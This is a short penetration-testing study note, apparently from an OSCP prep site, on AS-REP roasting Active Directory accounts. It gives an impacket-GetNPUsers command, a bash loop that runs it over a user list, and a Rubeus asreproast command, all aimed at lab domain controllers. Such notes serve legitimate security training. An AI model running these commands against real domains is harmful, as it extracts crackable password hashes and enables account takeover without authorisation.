Initial Attack Strategy As Rep Roasting

Find users using [Kerbrute](/active-directory/initial-attack-strategy/kerbrute.md) first then use that username to see if they need pre auth for a TGT

#active directory#adot8

source · oscp.adot8.com · active-directory/initial-attack-strategy_as-rep-roasting ↗

AS-REP Roasting

Find users using Kerbrute first then use that username to see if they need pre auth for a TGT

bash

$impacket-GetNPUsers domain.com/fsmith -dc-ip 10.10.10.175  -format hashcat

One liner to automate using user list

code

01for user in $(cat users.txt); do impacket-GetNPUsers megabank.LOCAL/$user -dc-ip 10.10.10.169 -format hashcat; done

Rubeus

code

01.\Rubeus.exe asreproast /nowrap